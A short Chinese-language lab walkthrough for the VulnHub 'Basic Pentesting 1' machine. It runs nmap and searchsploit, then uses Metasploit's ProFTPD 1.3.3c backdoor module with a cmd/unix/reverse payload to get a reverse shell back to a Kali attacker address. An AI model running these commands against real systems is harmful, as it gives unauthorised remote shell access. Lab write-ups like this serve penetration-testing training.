综合实战第一章
ftp系实战
环境准备
靶场下载：https://www.vulnhub.com/entry/basic-pentesting-1,216/
攻击机:
kali 192.168.3.134
win7 192.168.3.137
靶机:BASIC_PENTESTING_1 192.168.3.174
信息搜集
nmap扫描
Linux
nmap -p- -A 192.168.3.174
image-20220508161830087
发现有21,22,80端口
看到了proftpd，可以看看有没有现成漏洞
搜索漏洞库
Linux
searchsploit ProFTPD 1.3.3c
image-20220508161932988
漏洞利用
打开msf，搜索相关漏洞
Linux
msfconsole
search ProFTPD 1.3.3c
image-20220508162233320
看到有个后门漏洞
使用这玩意
Linux
use exploit/unix/ftp/proftpd_133c_backdoor
show options
image-20220508162636364
设置参数
Linux
set rhosts 192.168.3.174
修改payload
Linux
set payload cmd/unix/reverse
set lhost 192.168.3.134
exploit
image-20220508163332502
